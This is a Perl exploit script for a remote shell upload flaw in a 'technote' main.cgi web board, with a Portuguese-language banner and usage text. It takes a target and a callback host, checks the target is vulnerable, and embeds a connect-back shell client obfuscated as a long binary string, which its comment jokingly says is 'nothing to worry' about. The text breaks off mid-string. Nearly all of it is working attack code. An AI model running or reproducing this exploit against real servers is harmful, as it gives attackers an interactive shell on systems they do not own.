#!/usr/bin/perl
#
#  *** Remote Shell Upload Vulnerability ***

use IO::Socket;
use strict;

my ($HOST, $CBHOST) = @ARGV;
my $PORT = 80;
my $CBPORT = int(rand(64511))+1024; 
my $PWD = '`pwd`';
$| = 1;

unless ($HOST) {
    print         "\n       ¦¦¦¦¦¦¦¦ \n";
        print        "      ¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
          print      "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
          print      "      ¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦ \n"; 
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦¦ \n";
         print       "      ¦¦¦¦¦¦¦¦¦ \n";
sleep(1);
   print " \n\n      *** Exploit Remote Upload Shell ***\n\n\n";
   print "         Exploit Remote Upload Shell\n\n";
   print "    MODO DE USAR: $0 <host[:port]>[/(main.cgi path)] [your_ip[:port]]\n\n";
   print "        $0 <main.cgi URL> [your_ip[:port]]\n";
   print "        $0 <whole technote filename url> [your_ip[:port]]\n\n";
   print "    EXEMPLO: $0 localhost\n\n";
   print "        $0 http://localhost/technote/main.cgi 127.0.0.1:4545\n";
   print "        $0 'localhost:8080/cgi-bin/technote/main.cgi/file.txt?down_num=953713356&board=my_board&command=down_load&filename=file.txt'\n\n";
   exit(1);
}

#my $URI = undef;
#map { $URI = 1 if (-r "$_/URI/Escape.pm") } @INC;
#eval 'use URI::Escape' if ($URI);

$HOST =~ s/^http:\/\///;
my $DOC = '/technote/main.cgi';
my $bind;
if ($HOST =~ /^(.+?)(\/.+)$/) {
  $DOC = $2;
  $HOST = $1;
}

if ($HOST =~ /^(.+?):(\d+)$/) {
  $HOST = $1;
  $PORT = $2;
}
if ($CBHOST =~ /^(.+?):(\d+)$/) {
  $CBHOST = $1;
  $CBPORT = $2;
}


my $NUM = int(rand(999999));

if (try_vul()) {
    print "EXPLOITADO SUCCESSFULLY!\nAGUARDE!\n";
} else {
    print "Sorry... Error No Exploit\n\n";
    exit;
}

# cbshell client encoded.. nothing to worry heheh
my $cbshell = '$C=pack("B*","0111011001100001011010000010100000100010010101010111001101100001011001110110010100111010001000000010010000110000001000000011110001101001011100000011111000100000001111000111000001101111011100100111010000111110001000100010100100100000011101010110111001101100011001010111001101110011001000000010010001000001010100100100011101010110010110110011000101011101001110110110110101111001001001000100100101010000001111010010010001000001010100100100011101010110010110110011000001011101001110110110110101111001001001000101000001001111010100100101010000111101001001000100000101010010010001110101011001011011001100010101110100111011011011010111100100100100010100110100100001000101010011000100110000111101001001110110001001100001011100110110100000100111001110110110110101111001001001000100100001001111010011010100010100111101001001110010111101110100011011010111000000100111001110110110110101111001001001000101000001010010010011110100001100111101001001110110100101101110011001010111010001100100001001110011101101101101011110010010100001000000010100110101010001010100010110010010100100111101001010000010011101110011011000010110111001100101001001110010110000100000001001110110010001100101011000110010011100101001001110110010010001000101010011100101011001111011001001110100100001001111010011010100010100100111011111010011110100100100010010000100111101001101010001010011101100100100010001010100111001010110011110110010011101010000010100110011000100100111011111010011110100100111010110110101110001011100011101010100000001011100010111000110100000100000010111000101110001010111010111010011101000100000001001110011101100100100010001010100111001010110011110110010011101001101010000010100100101001100001001110111110100111101001001110010111101110110011000010111001000101111011011010110000101101001011011000010111101110010011011110110111101110100001001110011101100100100010001010100111001010110011110110010011101010000010000010101010001001000001001110111110100100000001011100011110100100000001001110011101000101111011000100110100101101110001110100010111101110011011000100110100101101110001110100010111101110101011100110111001000101111011000100110100101101110001110100010111101110101011100110111001000101111011100110110001001101001011011100011101000101111011101010111001101110010001011110110110001101111011000110110000101101100001011110110001001101001011011100011101000101111011101010111001101110010001011110110110001101111011000110110000101101100001011110111001101100010011010010110111000100111001110110010010001000101010011100101011001111011001001110100100001001001010100110101010001000110010010010100110001000101001001110111110100111101001001110010111101100100011001010111011000101111011011100111010101101100011011000010011100111011001001000100010101001110010101100111101100100111010101010101001101000101010100100010011101111101001111010010011101110010011011110110111101110100001001110011101100100100010001010100111001010110011110110010011101001100010011110100011101001110010000010100110101000101001001110111110100111101001001110111001001101111011011110111010000100111001110110010010001000101010011100101011001111011001001110100110001010011010111110100111101010000010101000100100101001111010011100101001100100111011111010011110100100111001000000010110100101101011000110110111101101100011011110111001000111101011000010111010101110100011011110010000000101101010001100010000000101101011000100010000000101101010101000010000000110000001001110011101100100100010001010100111001010110011110110010011101001100010100110101111101000011010011110100110001001111010100100101001100100111011111010011110100100111011011100110111100111101001100000011000000111010011001100110100100111101001100000011000000111010011001000110100100111101001100000011000100111011001100110011010000111010011011000110111000111101001100000011000100111011001100110011011000111010011100000110100100111101001101000011000000111011001100110011001100111010011100110110111100111101001100000011000100111011001100110011010100111010011000100110010000111101001101000011000000111011001100110011001100111011001100000011000100111010011000110110010000111101001101000011000000111011001100110011001100111011001100000011000100111010011011110111001000111101001101000011000000111011001100110011000100111011001100000011000100111010011001010111100000111101001100000011000100111011001100110011001000111010001010100010111001100011011011010110010000111101001100000011000100111011001100110011001000111010001010100010111001100101011110000110010100111101001100000011000100111011001100110011001000111010001010100010111001100011011011110110110100111101001100000011000100111011001100110011001000111010001010100010111001100010011101000110110100111101001100000011000100111011001100110011001000111010001010100010111001100010011000010111010000111101001100000011000100111011001100110011001000111010001010100010111001110100011000010111001000111101001100000011000100111011001100110011000100111010001010100010111001110100011001110111101000111101001100000011000100111011001100110011000100111010001010100010111001100001011100100110101000111101001100000011000100111011001100110011000100111010001010100010111001110100011000010111101000111101001100000011000100111011001100110011000100111010001010100010111001101100011110100110100000111101001100000011000100111011001100110011000100111010001010100010111001111010011010010111000000111101001100000011000100111011001100110011000100111010001010100010111001100010011110100011001000111101001100000011000100111011001100110011000100111010001010100010111001110010011100000110110100111101001100000011000100111011001100110011000100111010001010100010111001100100011001010110001000111101001100000011000100111011001100110011000100111010001010100010111001111010001111010011000000110001001110110011001100110001001110100010101000101110010110100011110100110000001100010011101100110011001100010011101000101010001011100110011101111010001111010011000000110001001110110011001100110001001110100010101000101110011010100111000001100111001111010011000000110001001110110011001100110101001110100010101000101110011001110110100101100110001111010011000000110001001110110011001100110101001110100010101000101110011000100110110101110000001111010011000000110001001110110011001100110101001110100010101000101110011100000111000001101101001111010011000000110001001110110011001100110101001110100010101000101110011101000110011101100001001111010011000000110001001110110011001100110101001110100010101000101110011110000110001001101101001111010011000000110001001110110011001100110101001110100010101000101110011110000111000001101101001111010011000000110001001110110011001100110101001110100010101000101110011101000110100101100110001111010011000000110001001110110011001100110101001110100010101000101110011011010111000001100111001111010011000000110001001110110011001100110111001110100010101000101110011000010111011001101001001111010011000000110001001110110011001100110111001110100010101000101110011011010110111101110110001111010011000000110001001110110011001100110111001110100010011100111011001001000100010101001110010101100111101100100111010100110100100001000101010011000100110000100111011111010011110100100100010100110100100001000101010011000100110000111011001001000100010101001110010101100111101100100111010101000100010101010010010011010010011101111101001111010010011101111000011101000110010101110010011011010010011100111011001001000011000000111101001001000101000001010010010011110100001100100000001011100010000000100010010111000011000000110000001100000010001000111011011101010111001101100101001000000100100101001111001110100011101001010011011011110110001101101011011001010111010000111011011101010111001101100101001000000100100101001111001110100011101001010011011001010110110001100101011000110111010000111011011101010111001101100101001000000101000001001111010100110100100101011000001110110010010001010011010010010100011101111011001001110100100001010101010100000010011101111101001111010010011101001001010001110100111001001111010100100100010100100111001110110010010001010011010010010100011101111011001001110101000001010011001001110111110100111101001001110100100101000111010011100100111101010010010001010010011100111011001001000101001101001001010001110111101100100111010101000100010101010010010011010010011101111101001111010010011101001001010001110100111001001111010100100100010100100111001110110010010001010011010010010100011101111011001001110100001101001000010011000100010000100111011111010011110101110011011101010110001000100000011110110111011101100001011010010111010000111011011111010011101101101101011110010010010101001001010011110100001101010100010011000100010001000101010001100011101100100100010010010100111101000011010101000100110001000100010001010100011001111011001001110101010001001001010011110100001101010011010101110100100101001110010100110101101000100111011111010011110100110010001100010011010100110010001101000011101100100100010010010100111101000011010101000100110001000100010001010100011001111011001001110101010001001001010011110100001101001110010011110101010001010100010110010010011101111101001111010011001000110001001101010011001100111000001110110010010001001001010011110100001101010100010011000100010001000101010001100111101100100111010101000100100101001111010000110101001101000011010101000101010001011001001001110111110100111101001100100011000100110101001100010011100000111011011100110110000101100110011001010110110001101111011000010110010000101000001001110111001101111001011100110010111101101001011011110110001101110100011011000010111001110000011010000010011100101100001000000011000100101001001110110111001101100001011001100110010101101100011011110110000101100100001010000010011101100001011100110110110100101111011010010110111101100011011101000110110001110011001011100111000001101000001001110010110000100000001100010010100100111011011011010111100100101000010000000100100101001111010001100100100101001100010001010101001100101001001111010010011100101111011101010111001101110010001011110110100101101110011000110110110001110101011001000110010100101111011000010111001101101101001011110110100101101111011000110111010001101100011100110010111001101000001001110011101101100110011011110111001001100101011000010110001101101000001000000110110101111001001000000010010001001001010011110100001101010100010011000010000000101000011010110110010101111001011100110010000000100101010010010100111101000011010101000100110001000100010001010100011000101001011110110110111001100101011110000111010000100000011010010110011000100000011001000110010101100110011010010110111001100101011001000010000000100110011110110010010001001001010011110100001101010100010011000011101101111101001110110110011001101111011100100110010101100001011000110110100000100000011011010111100100100000001001000110100101101111011001100110100101101100011001010010000000101000010000000100100101001111010001100100100101001100010001010101001100101001011110110110100101100110001010000110111101110000011001010110111000100000010010010100111101000100001011000010000000100010001111000010000000100100011010010110111101100110011010010110110001100101001000100010100101111011011101110110100001101001011011000110010100101000011001000110010101100110011010010110111001100101011001000010100000100100010111110010000000111101001000000011110001001001010011110100010000111110001010010010100101111011011010010110011000101000001011110101111001011100001000110110010001100101011001100110100101101110011001010101110001110011001010110010010001001001010011110100001101010100010011000101110001110011001010110010100000101110001010100011111100101001010111000110111000100100001011110010100101111011011001010111011001100001011011000010000000100010011100110111010101100010001000000010010001001001010011110100001101010100010011000010000000101000001010010010000001111011001001000011000100111011011111010010001000111011011011000110000101110011011101000011101101111101011111010110001101101100011011110111001101100101001000000100100101001111010001000011101101111101011111010110010101110110011000010110110000100000001000100111001101110101011000100010000000100100010010010100111101000011010101000100110000100000001010000010100100100000011110110010000000100100010010010100111101000011010101000100110001000100010001010100011001111011001001000100100101001111010000110101010001001100011111010011101101111101001000100010000001110101011011100110110001100101011100110111001100100000011001000110010101100110011010010110111001100101011001000010000000100110011110110010010001001001010011110100001101010100010011000011101101111101001110110111110101100011011010000110010001101001011100100010000000100111001011110010011100111011011011010111100100100101010000110100110001001001010001010100111001010100001110110110110101111001001001000111001101101111011000110110101100111101001001110100100101001111001110100011101001010011011011110110001101101011011001010111010000111010001110100100100101001110010001010101010000100111001011010011111001101110011001010111011100101000001001110101000001100101011001010111001001000001011001000110010001110010001001110010110000100100010010010101000000101100001001110101000001100101011001010111001001010000011011110111001001110100001001110010110000100100010100000100111101010010010101000010110000100111010100000111001001101111011101000110111100100111001011000010011101110100011000110111000000100111001010010010000001111100011111000010000001110110011000010110100000101000001000100110001101101111011101010110110001100100001000000110111001101111011101000010000001100011011011110110111001101110011001010110001101110100001000000110111101101110001000000010010001111011010010010101000001111101001110100010010001010000010011110101001001010100001000000011101000100000001001000010000100100010001010010011101101101101011110010010010001110000011010010110010000111101011001100110111101110010011010110011101101110110011000010110100000101000001001110100010101010010010100100100111101010010001110100010000001001001001000000110001101101111011101010110110001100100001000000110111001101111011101000010000001100110011011110111001001101011001010000010100100100000011101000110100001100101001000000111000001110010011011110110001101100101011100110111001100101110001001110010100100100000011101010110111001101100011001010111001101110011001000000110010001100101011001100110100101101110011001010110010000100000001001000111000001101001011001000011101101100101011110000110100101110100001000000110100101100110001000000010010001110000011010010110010000111011011011010111100100100100011100110110010101101100010111110111001101100101011100100111011000111101001001110100100101001111001110100011101001010011011001010110110001100101011000110111010000100111001011010011111001101110011001010111011100101000001001000111001101101111011000110110101100101001001110110110110101111001001001000111001101100101011011000101111101110011011010000110010101101100011011000011110100100111010010010100111100111010001110100101001101100101011011000110010101100011011101000010011100101101001111100110111001100101011101110011101100100100011100110110111101100011011010110010110100111110011000010111010101110100011011110110011001101100011101010111001101101000001010000011000100101001001110110010010001000011010011000100100101000101010011100101010001111011001001000111001101101111011000110110101101111101011110110010011101110011011011110110001101101011001001110111110100111101001001000111001101101111011000110110101100111011011101110111001001101001011101000110010101011111011000110110110001101001011001010110111001110100001010000010010001110011011011110110001101101011001011000010000000100010010111000111001001011100011011100101110001110010010111000111001001011100011011100101110001110010001000100010100100111011011011100110010101110111010111110111001101101000011001010110110001101100001010000010010001110011011011110110001101101011001010010011101101110111011010000110100101101100011001010010100000110001001010010111101101100101011110000110100101110100001010000010100100100000011010010110011000100000011100110110001101100001011011000110000101110010001000000110101101100101011110010111001100100000001001010100001101001100010010010100010101001110010101000010000000111101001111010010000000110000001110110111001001100101011000010110010001011111011000110110110001101001011001010110111001110100011100110010100000101001001110110111001001100101011000010110010001011111011100110110100001100101011011000110110001110011001010000010100100111011011111010111001101110101011000100010000001110010011001010110000101100100010111110110001101101100011010010110010101101110011101000111001100100000011110110110110101100001011100000111101101110010011001010110000101100100010111110110001101101100011010010110010101101110011101000010100000100100010111110010100100111011011111010010010001110011011001010110110001011111011100110110010101110010011101100010110100111110011000110110000101101110010111110111001001100101011000010110010000101000001100000010111000110000001100010010100100111011011111010111001101110101011000100010000001110010011001010110000101100100010111110110001101101100011010010110010101101110011101000010000001111011011011010111100100100100011001100110100000111101011100110110100001101001011001100111010000100000010000000101111100111011011011010111100100100100011011010111001101100111001110110110110101111001001001000110111001110010011001010110000101100100001111010111001101111001011100110111001001100101011000010110010000101000001001000110011001101000001011000010000000100100011011010111001101100111001011000010000000110001001100000011001000110100001010010011101101101001011001100010100000100100011011100111001001100101011000010110010000100000001111010011110100100000001100000010100101111011011000110110110001101111011100110110010101011111011000110110110001101001011001010110111001110100001010000010010001100110011010000010100100111011011111010110010101101100011100110110010101111011011101110111001001101001011101000110010101011111011100110110100001100101011011000110110000101000001001000110011001101000001011000010000000100100011011010111001101100111001010010011101101111101011111010111001101110101011000100010000001110010011001010110000101100100010111110111001101101000011001010110110001101100011100110010000001111011011011010110000101110000011110110111001001100101011000010110010001011111011100110110100001100101011011000110110000101000001001000101111100101001001110110111110100100100011100110110010101101100010111110111001101101000011001010110110001101100001011010011111001100011011000010110111001011111011100100110010101100001011001000010100000110000001011100011000000110001001010010011101101111101011100110111010101100010001000000111001001100101011000010110010001011111011100110110100001100101011011000110110000100000011110110110110101111001001001000111001101101000011001010110110001101100001111010111001101101000011010010110011001110100001000000100000001011111001110110110110101111001001001000110001101101100011010010011101101101101011000010111000001111011001001000110001101101100011010010010000000111101001000000010010001000011010011000100100101000101010011100101010001111011001001000101111101111101011110110010011101110011011011110110001101101011001001110111110100100000011010010110011000100000001001000100001101001100010010010100010101001110010101000111101100100100010111110111110101111011001001110111001101101000011001010110110001101100001001110111110100100000011001010111000100100000001001000111001101101000011001010110110001101100001110110111110100100000011010110110010101111001011100110010000000100101010000110100110001001001010001010100111001010100001110110110110101111001001001000110110101110011011001110011101101101101011110010010010001101110011100100110010101100001011001000011110101110011011110010111001101110010011001010110000101100100001010000010010001110011011010000110010101101100011011000010110000100000001001000110110101110011011001110010110000100000001100010011000000110010001101000010100100111011011010010110011000101000001001000110111001110010011001010110000101100100001000000011110100111101001000000011000000101001011110110110011001101001011011100110100101110011011010000101111101100011011011000110100101100101011011100111010000101000001001000110001101101100011010010010110000100000001000100101010001100101011100100110110101101001011011100110000101101100001000000110001101101100011011110111001101100101011001000010111001011100011100100101110001101110010111000111001000100010001010010011101101111101011001010110110001110011011001010111101101110111011100100110100101110100011001010101111101100011011011000110100101100101011011100111010000101000001001000110001101101100011010010010110000100000001001000110110101110011011001110010100100111011011111010111110101110011011101010110001000100000011011100110010101110111010111110111001101101000011001010110110001101100001000000111101101101101011110010010010001100011011011000110100100111101011100110110100001101001011001100111010000100000010000000101111100111011010100000100111101010011010010010101100000111010001110100111001101100101011101000111000001100111011010010110010000101000001100000010110000100000001100000010100100111011011011010111100100101000001001000111010001110100011110010010110000100000001001000111000001110100011110010010100100111011011101010110111001101100011001010111001101110011001010000010100000100100011101000111010001111001001011000010000000100100011100000111010001111001001010010010000000111101001000000110111101110000011001010110111001011111011101000111010001111001001010000010010001100011011011000110100100101001001010010111101101100110011010010110111001101001011100110110100001011111011000110110110001101001011001010110111001110100001010000010010001100011011011000110100100101100001000000010001001000101010100100101001001001111010100100011101000100000010011100110111100100000011011010110111101110010011001010010000001110000011101000111100100100111011100110010000001100001011101100110000101101100011010010110000101100010011011000110010101011100011011100010001000101001001110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101011011010111100100100100011100000110100101100100001111010110011001101111011100100110101100111011011010010110011000101000011011100110111101110100001000000110010001100101011001100110100101101110011001010110010000100000001001000111000001101001011001000010100101111011011001100110100101101110011010010111001101101000010111110110001101101100011010010110010101101110011101000010100000100100011000110110110001101001001011000010000000100010010001010101001001010010010011110101001000111010001000000110011001101111011100100110101100101000001010010101110001101110001000100010100100111011011100100110010101110100011101010111001001101110001000000111010101101110011001000110010101100110001110110111110101110101011011100110110001100101011100110111001100101000001001000111000001101001011001000010100101111011011000110110110001101111011100110110010100100000001001000111000001110100011110010011101101101100011011110110001101100001011011000010101001000100010001010101011001010100010101000101100100111011011010010110011000101000011011110111000001100101011011100010000001000100010001010101011001010100010101000101100100101100001000000010011100101111011001000110010101110110001011110111010001110100011110010010011100101001011110110110100101101111011000110111010001101100001000000100010001000101010101100101010001010100010110010010110000100000001001100101010001001001010011110100001101001110010011110101010001010100010110010010110000100000001100000011101101100011011011000110111101110011011001010010000001000100010001010101011001010100010101000101100100111011011111010101000001001111010100110100100101011000001110100011101001110011011001010111010001110011011010010110010000101000001010010011101101101001011011110110001101110100011011000010000000100100011101000111010001111001001011000010000000100110010101000100100101001111010000110101001101000011010101000101010001011001001011000010000000110000001110110111011001100001011010000010100000100010010010010010000001100011011011110111010101101100011001000010000001101110011011110111010000100000011100100110010101101111011100000110010101101110001000000101001101010100010001000100100101001110001110100010000000100100001000010010001000101001001000000111010101101110011011000110010101110011011100110010000001101111011100000110010101101110001000000101001101010100010001000100100101001110001011000010000000100111001111000010011000100111001000000010111000100000011001100110100101101100011001010110111001101111001010000010010001110100011101000111100100101001001110110111011001100001011010000010100000100010010010010010000001100011011011110111010101101100011001000010000001101110011011110111010000100000011100100110010101101111011100000110010101101110001000000101001101010100010001000100111101010101010101000011101000100000001001000010000100100010001010010010000001110101011011100110110001100101011100110111001100100000011011110111000001100101011011100010000001010011010101000100010001001111010101010101010000101100001000000010011100111110001001100010011100100000001011100010000001100110011010010110110001100101011011100110111100101000001001000111010001110100011110010010100100111011011101100110000101101000001010000010001001001001001000000110001101101111011101010110110001100100001000000110111001101111011101000010000001110010011001010110111101110000011001010110111000100000010100110101010001000100010001010101001001010010001110100010000000100100001000010010001000101001001000000111010101101110011011000110010101110011011100110010000001101111011100000110010101101110001000000101001101010100010001000100010101010010010100100010110000100000001001110011111000100110001001110010000000101110001000000110011001101001011011000110010101101110011011110010100000100100011101000111010001111001001010010011101101100011011011000110111101110011011001010010000000100100011101000111010001111001001110110111001101101100011001010110010101110000001000000011000100111011011001100110111101110010011001010110000101100011011010000010000001101101011110010010000000100100011100110111010001110100011110010010000000101000001001110010111101100010011010010110111000101111011100110111010001110100011110010010011100101100001000000010011100101111011101010111001101110010001011110110001001101001011011100010111101110011011101000111010001111001001001110010100101111011011011100110010101111000011101000010000001110101011011100110110001100101011100110111001100100000001011010111100000100000001001000111001101110100011101000111100100111011011011010110000101110000011110110111001101111001011100110111010001100101011011010010000000100010001001000111001101110100011101000111100100100010001011000010000000100100010111110011101101111101001000000100000001010011010101000101010001011001001110110111110101100011011010000110010001101001011100100010000000100010001001000100100001001111010011010100010100100010001110110111101101100101011110000110010101100011001000000010001000100100010100110100100001000101010011000100110000100010001110110111110101110011011110010111001101110111011100100110100101110100011001010010000001010011010101000100010001001111010101010101010000101100001000000111000101110001010110110101110001101110010111000110111001000101010100100101001001001111010100100011101000100000011001010111100001100101011000110010100000100100010100110100100001000101010011000100110000101001010111000110111001011100011011100100100100100000011000110110111101110101011011000110010000100000011011100110111101110100001000000110010101111000011001010110001101110101011101000110010100100000011101000110100001100101001000000111001101101000011001010110110001101100001000000010100000100100010100110100100001000101010011000100110000101001010111000110111001001000011011110111011101100101011101100110010101110010001000000111100101101111011101010010000001100001011100100110010100100000011011000111010101100011011010110111100100100000001110100101000001011100011011100101100101101111011101010010000001100011011000010110111000100000011101010111001101100101001000000111010001101000011001010010000000100010010010010010011101101101001000000100011001010101010000110100101101000101010001000010000100100010001000000110110101101111011001000110010100100000011000010110111001100100001000000110011001101001011110000010000001110101011100000010000001110100011010000110100101110011001000000111010001101000011010010110111001100111001011100010111000101110010111000110111001010100011010010111000000111010001000000100011001101001011011100110010000100000011100110110111101101101011001010010000001110011011010000110010101101100011011000010000001100001011011100110010000100000011001010111100001100101011000110111010101110100011001010010000001101001011101000010000000111011001010010101110001101110010111000110111001011101001110110111001101111001011100110111011101110010011010010111010001100101001000000101001101010100010001000100111101010101010101000010110000100000001000100101110001101110010111000110111001001111010010110010000100100000010010010010011101101101001000000100011001110101011000110110101101100101011001000010000001101101011011110110010001100101001011100101110001101110001000100011101101110011011110010111001101110111011100100110100101110100011001010010000001010011010101000100010001001111010101010101010000101100001000000010001001010100011110010111000001100101001000000101111001000011001000000111010001101111001000000110010101111000011010010111010001011100011011100101110001101110010010010010011101101101001000000100011001110101010000110100101101100101010001000010000100100011001000000010001000111011011101110110100001101001011011000110010100101000011001000110010101100110011010010110111001100101011001000010100001101101011110010010000000100100011011010111001101100111001000000011110100100000001111000101001101010100010001000100100101001110001111100010100100101001011110110010010001101101011100110110011100111101011111100010000001110011001011110101110001101110001001000010111100101111001110110010010001101101011100110110011100111101011111100010000001110011001011110101110001110010001001000010111100101111001110110110100101100110001010000010010001101101011100110110011100100000001111010111111000100000001011110101111001011100011100110010101001100011011001000101110001110011001010110010100001011100010100110010101100101001001011110010100101111011011011010111100100100100011011100110111101110100011001100011110100100010011001000110100101110010011001010110001101110100011011110111001001111001001000000010010000110001001000000110111001101111011101000010000001100110011011110111010101101110011001000010000101011100011011100010001000111011011100110111100101110011011101110111001001101001011101000110010100100000010100110101010001000100010001010101001001010010001011000010000000100100011011100110111101110100011001100010110000100000011011000110010101101110011001110111010001101000001000000010010001101110011011110111010001100110001000000111010101101110011011000110010101110011011100110010000001100011011010000110010001101001011100100010000000100100001100010011101101111101011001010110110001110011011001010111101101110011011110010111001101110100011001010110110100100000001000100010010001101101011100110110011100100000001100100011111000100110001100010010001000111011011111010111001101111001011100110111011101110010011010010111010001100101001000000101001101010100010001000100111101010101010101000010110000100000011100010101101101001001001001110110110100100000010001100111010101000011010010110110010101000100001000010010001100100000010111010011101101111101011001010111100001101001011101000011101101111101011000110110110001101111011100110110010100100000001001000111010001110100011110010011101101110011011001010110110001100101011000110111010000100000001001000111000001110100011110010011101100100100011111000011110100110001001110110111001101100101011011000110010101100011011101000010000001010011010101000100010001001111010101010101010000111011001001100111001101100101011101000101111101110010011000010111011100101000001001000111000001110100011110010010100100111011001001000100001101001100010010010100010101001110010101000111101100100100011000110110110001101001011111010111101100100111011100110110100001100101011011000110110000100111011111010011110100100100011100000111010001111001001110110010010001110011011001010110110001011111011100110110100001100101011011000110110000101101001111100110000101100100011001000010100000100100011100000111010001111001001010010011101101110010011001010111010001110101011100100110111000100000001100010011101101111101011100110111010101100010001000000111001101100101011101000101111101110010011000010111011100100000001010000010010000101001011110110110110101111001001001000111001101100101011011000110011000111101011100110110100001101001011001100111010000100000010000000101111100111011011100100110010101110100011101010111001001101110001000000011000100100000011010010110011000100000011011100110111101110100001000000101000001001111010100110100100101011000001110100011101001101001011100110110000101110100011101000111100100101000001001000111001101100101011011000110011000101001001110110110110101111001001001000111010001110100011110010110111001101111001111010110011001101001011011000110010101101110011011110010000000100100011100110110010101101100011001100011101101101101011110010010010001110100011001010111001001101101011010010110111101110011001111010010011101010000010011110101001101001001010110000011101000111010010101000110010101110010011011010110100101101111011100110010011100101101001111100110111001100101011101110011101101110101011011100110110001100101011100110111001100101000001001000111010001100101011100100110110101101001011011110111001100101001011110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101011101010110111001101100011001010111001101110011001010000010010001110100011001010111001001101101011010010110111101110011001011010011111001100111011001010111010001100001011101000111010001110010001010000010010001110100011101000111100101101110011011110010100100101001011110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101001001000111010001100101011100100110110101101001011011110111001100101101001111100111001101100101011101000110100101100110011011000110000101100111001010000011000000101001001110110010010001110100011001010111001001101101011010010110111101110011001011010011111001110011011001010111010001101111011001100110110001100001011001110010100000110000001010010011101100100100011101000110010101110010011011010110100101101111011100110010110100111110011100110110010101110100011011000110011001101100011000010110011100101000001100000010100100111011001001000111010001100101011100100110110101101001011011110111001100101101001111100111001101100101011101000110001101100011001010000010011001010000010011110101001101001001010110000011101000111010010101100100110101001001010011100010110000100000001100010010100100111011001001000111010001100101011100100110110101101001011011110111001100101101001111100111001101100101011101000110001101100011001010000010011001010000010011110101001101001001010110000011101000111010010101100101010001001001010011010100010100101100001000000011000000101001001110110111010101101110011011000110010101110011011100110010100000100100011101000110010101110010011011010110100101101111011100110010110100111110011100110110010101110100011000010111010001110100011100100010100000100100011101000111010001111001011011100110111100101100001000000010011001010000010011110101001101001001010110000011101000111010010101000100001101010011010000010100111001001111010101110010100100101001011110110111001001100101011101000111010101110010011011100010000001110101011011100110010001100101011001100011101101111101011100100110010101110100011101010111001001101110001000000011000100111011011111010111001101110101011000100010000001101111011100000110010101101110010111110111010001110100011110010010000001111011011011010111100100100100011000110110110001101001001111010111001101101000011010010110011001110100001000000100000001011111001110110110110101111001001010000010010001010000010101000101100100101100001000000010010001010100010101000101100100101001001111010010100000101010011110110010001001110000011101000111100100101110001001000110001101101100011010010010001000111011011111010010110000100000001010100111101100100010011101000111010001111001001011100010010001100011011011000110100100100010001110110111110100101001001110110110011001101111011100100010100001101101011110010010000000100100011010010010000000111101001000000011000000111011001000000010010001101001001000000011110000100000001100100011010100110110001110110010000000101011001010110010010001101001001010010111101101101101011110010010010001110000011101000111100100111101011001110110010101110100010111110111010001110100011110010010100000100100011010010010110000100000001001110010111101100100011001010111011000101111011100000111010001111001001001110010100100111011011011100110010101111000011101000010000001110101011011100110110001100101011100110111001100100000011011110111000001100101011011100010000000100100010100000101010001011001001011000010000000100010001010110011111000100000001001000111000001110100011110010010001000111011011011010111100100100100011101000111010001111001001111010110011101100101011101000101111101110100011101000111100100101000001001000110100100101100001000000010011100101111011001000110010101110110001011110111010001110100011110010010011100101001001110110111010101101110011011000110010101110011011100110010100001101111011100000110010101101110001000000010010001010100010101000101100100101100001000000010001000101011001111100010000000100100011101000111010001111001001000100010100101111011011000110110110001101111011100110110010100100000001001000101000001010100010110010011101101101110011001010111100001110100001110110111110101110010011001010111010001110101011100100110111000100000001001000101010001010100010110010010110000100000001001000101000001010100010110010011101101111101011100100110010101110100011101010111001001101110001000000010101100101000001010010011101101111101011100110111010101100010001000000110011101100101011101000101111101110100011101000111100100100000011110110110110101111001001010000010010001101110011101010110110100101100001000000010010001100010011000010111001101100101001010010011110101000000010111110011101101101101011110010010100001000000011100110110010101110010011010010110010101110011001010010011110100101000001010000010011101110000001001110010110000100000001001110111000100100111001011000010000000100111011100100010011100101100001000000010011101110011001001110010110000100000001001110111010000100111001011000010000000100111011101010010011100101100001000000010011101110110001001110010110000100000001001110111011100100111001011000010000000100111011110000010011100101100001000000010011101111001001001110010110000100000001001110111101000100111001010010010110000100000001010000010011101100001001001110010110000100000001001110110001000100111001011000010000000100111011000110010011100101100001000000010011101100100001001110010110000100000001001110110010100100111001010010010100100111011011011010111100100101000010000000111001101110101011000100111001100101001001111010010100000101000001001110011000000100111001011000010000000100111001100010010011100101100001000000010011100110010001001110010110000100000001001110011001100100111001011000010000000100111001101000010011100101100001000000010011100110101001001110010110000100000001001110011011000100111001011000010000000100111001101110010011100101100001000000010011100111000001001110010110000100000001001110011100100100111001010010010110000100000001010000010011101100001001001110010110000100000001001110110001000100111001011000010000000100111011000110010011100101100001000000010011101100100001001110010110000100000001001110110010100100111001011000010000000100111011001100010011100101001001010010011101101101101011110010010010001100010011101010110011000111101001001000110001001100001011100110110010100111011001001000110001001110101011001100010000000101110001111010010000001000000011100110110010101110010011010010110010101110011010110110010010001101110011101010110110100100000001111100011111000100000001101000010000000100110001000000011000100110101010111010011101100100100011000100111010101100110001000000010111000111101001000000100000001110011011101010110001001110011010110110010010001101110011101010110110100100000001001100010000000110001001101010101110100111011011100100110010101110100011101010111001001101110001000000010010001100010011101010110011000111011011111010111001101110101011000100010000001110011011000010110011001100101011011000110111101100001011001000010000001111011011011010111100100101000001001000110110101101111011001000111010101101100011001010010110000100000001001000111001001100101011100010111010101101001011100100110010100101100001000000010010001100001